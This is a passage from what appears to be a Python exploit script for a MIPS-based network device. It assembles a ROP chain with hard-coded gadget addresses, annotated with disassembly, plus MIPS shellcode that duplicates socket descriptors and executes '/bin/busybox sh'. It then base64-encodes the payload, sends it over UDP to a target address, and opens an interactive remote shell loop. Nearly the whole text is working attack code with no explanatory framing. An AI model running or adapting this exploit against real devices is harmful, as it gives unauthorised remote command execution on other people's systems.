p3 += b'\x00' * 0x10 p3 += b'\x10\x00\x00\x30' p3 += b'\x00' * 0x68 p3 += p32(0x00413200 - 0xd) p3 += b'\x00' * 4 p3 += p32(0x00400C9C)
p3 += b'\x00' * 0x10 p3 += p32(0x41B030) p3 += b'\x00' * 8 p3 += p32(0x00400F28) ''' .text:00400F28 AE 02 00 0D sw $v0, 0xD($s0) .text:00400F28 .text:00400F2C .text:00400F2C loc_400F2C: # CODE XREF: sub_400E50+CC↑j .text:00400F2C 8F 82 80 68 la $v0, ifname .text:00400F30 8C 44 00 00 lw $a0, (ifname - 0x413138)($v0) .text:00400F34 8F 99 80 8C la $t9, net_get_hwaddr .text:00400F38 03 20 F8 09 jalr $t9 ; net_get_hwaddr .text:00400F3C 26 05 00 11 addiu $a1, $s0, 0x11 .text:00400F3C .text:00400F40 8F BF 00 24 lw $ra, 0x20+var_s4($sp) .text:00400F44 8F B0 00 20 lw $s0, 0x20+var_s0($sp) .text:00400F48 03 E0 00 08 jr $ra .text:00400F4C 27 BD 00 28 addiu $sp, 0x28 '''
p3 += b'\x00' * 0x20 p3 += p32(0x00413200) p3 += p32(0x004027C8) ''' .text:004027C0 loc_4027C0: # CODE XREF: sub_402790+3C↓j .text:004027C0 03 20 F8 09 jalr $t9 .text:004027C4 00 00 00 00 nop .text:004027C4 .text:004027C8 .text:004027C8 loc_4027C8: # CODE XREF: sub_402790+28↑j .text:004027C8 8E 19 00 00 lw $t9, 0($s0) .text:004027CC 17 31 FF FC bne $t9, $s1, loc_4027C0 '''
shellcode = b'\x00' * 0x20 shellcode+= b"\x3C\x1C\x00\x42" shellcode+= b"\x27\x9C\xB0\x30" shellcode+= b"\x8F\x82\x80\xB8" shellcode+= b"\x8C\x44\x00\x00" shellcode+= b"\x8F\x85\x80\xF4" shellcode+= b"\x24\x0c\xff\xef" shellcode+= b"\x01\x80\x30\x27" shellcode+= b"\x24\x02\x10\x4a" shellcode+= b"\x01\x01\x01\x0c"
shellcode+= b"\x3C\x1C\x00\x42" shellcode+= b"\x27\x9C\xB0\x30" shellcode+= b"\x8F\x82\x80\xB8" shellcode+= b"\x8C\x44\x00\x00"
shellcode+= b"\x24\x0f\xff\xfd" shellcode+= b"\x01\xe0\x28\x27"
shellcode+= b"\x24\x02\x0f\xdf" shellcode+= b"\x01\x01\x01\x0c" shellcode+= b"\x20\xa5\xff\xff" shellcode+= b"\x24\x01\xff\xff" shellcode+= b"\x14\xa1\xff\xfb"
shellcode+= b"\x28\x06\xFF\xFF" shellcode+= b"\x3C\x0F\x2F\x62" shellcode+= b"\x35\xEF\x69\x6E" shellcode+= b"\xAF\xAF\xFF\xDC" shellcode+= b"\x3C\x0F\x2F\x62" shellcode+= b"\x35\xEF\x75\x73" shellcode+= b"\xAF\xAF\xFF\xE0" shellcode+= b"\x3C\x0F\x79\x62" shellcode+= b"\x35\xEF\x6F\x78" shellcode+= b"\xAF\xAF\xFF\xE4" shellcode+= b"\xAF\xA0\xFF\xE8" shellcode+= b"\x3C\x0F\x73\x68" shellcode+= b"\xAF\xAF\xFF\xEC" shellcode+= b"\xAF\xA0\xFF\xF0" shellcode+= b"\x27\xAF\xFF\xDC" shellcode+= b"\xAF\xAF\xFF\xF4" shellcode+= b"\x27\xAF\xFF\xEC" shellcode+= b"\xAF\xAF\xFF\xF8" shellcode+= b"\xAF\xA0\xFF\xFC" shellcode+= b"\x27\xA4\xFF\xDC" shellcode+= b"\x27\xA5\xFF\xF8" shellcode+= b"\x24\x02\x0F\xAB" shellcode+= b"\x01\x01\x01\x0C"
p3 += shellcode
p2 += base64.b64encode(p3) li(p2)
r.sendto(p2, (ip, port))
while True: command = input("shell # ") if not command: continue if "exit" in command: r.close() break command += "\n" r.sendto(command.encode(), (ip, port)) recv_data, recv_addr = r.recvfrom(4096) li(recv_data.decode())
|